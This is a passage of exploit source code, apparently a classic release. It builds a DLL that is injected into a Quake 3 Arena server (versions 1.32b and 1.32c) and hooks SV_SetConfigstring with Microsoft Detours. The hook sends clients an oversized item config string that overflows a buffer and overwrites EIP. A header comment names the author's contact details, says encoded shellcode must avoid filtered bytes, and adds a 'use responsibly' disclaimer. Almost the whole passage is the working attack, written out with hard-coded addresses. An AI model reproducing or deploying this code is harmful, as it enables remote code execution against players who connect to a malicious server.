E-Mail: runningbon@gmail.com
IRC: irc.rizon.net #kik

This is a DLL, which gets injected into the server exe.

You will need Microsoft Detours library to compile this exploit (http://research.microsoft.com/sn/detours/)
I recommend you compile this with Microsoft Visual C++

Use this responsibly. You are responsible for any damage you cause using this.

Info:
The engine strips bytes >127, '%', and '\0' before it overflows, so you will need encoded shellcode and an EIP which doesn't contain any of these characters.
*/

#include <stdio.h>
#include <windows.h>
#include <detours.h>

struct VersionStruct {
char *pVersionString;
DWORD dwVersionStringAddr;
DWORD dwSetConfigstringAddr;
DWORD dwFillSize;
DWORD dwNewEIP;
int iCS_ITEM;
};

VersionStruct Versions[] = {
{ "Quake 3: Arena", 0x4C1B94, 0x431E70, 836, 0x13333337, 27 }, //Quake 3 Arena 1.32c
{ "Quake 3: Arena", 0x4D2184, 0x438610, 836, 0x13333337, 27 }, //Quake 3 Arena 1.32b
};

VersionStruct *pVersion = NULL;

void (*orig_SV_SetConfigstring)(int iIndex, const char *pVal);
void SV_SetConfigstring_Hook(int iIndex, const char *pVal)
{
char szString[4096];
char *pPtr = NULL;

if(pVersion != NULL)
{
if(iIndex == pVersion->iCS_ITEM)
{
memset(szString, 0, sizeof(szString));
pPtr = &szString[0];

memset(pPtr, 'a', pVersion->dwFillSize);
pPtr += pVersion->dwFillSize;

memcpy(pPtr, (LPVOID)&pVersion->dwNewEIP, sizeof(DWORD));
pPtr += sizeof(DWORD);

orig_SV_SetConfigstring(iIndex, szString);

return;
}
}

orig_SV_SetConfigstring(iIndex, pVal);
}

bool WINAPI DllMain(HINSTANCE hInst, DWORD dwReason, LPVOID lpReserved)
{
if(dwReason == DLL_PROCESS_ATTACH)
{
for(int i = 0; i < sizeof(Versions) / sizeof(Versions[0]); i++)
{
if(!stricmp((char*)Versions[i].dwVersionStringAddr, Versions[i].pVersionString))
{
pVersion = &Versions[i];
break;
}
}

if(pVersion == NULL)
{
//Could not find correct version
return 1;
}

DetourFunction((BYTE*)pVersion->dwSetConfigstringAddr, (BYTE*)SV_SetConfigstring_Hook);
_asm mov [orig_SV_SetConfigstring], eax
}

return 1;
}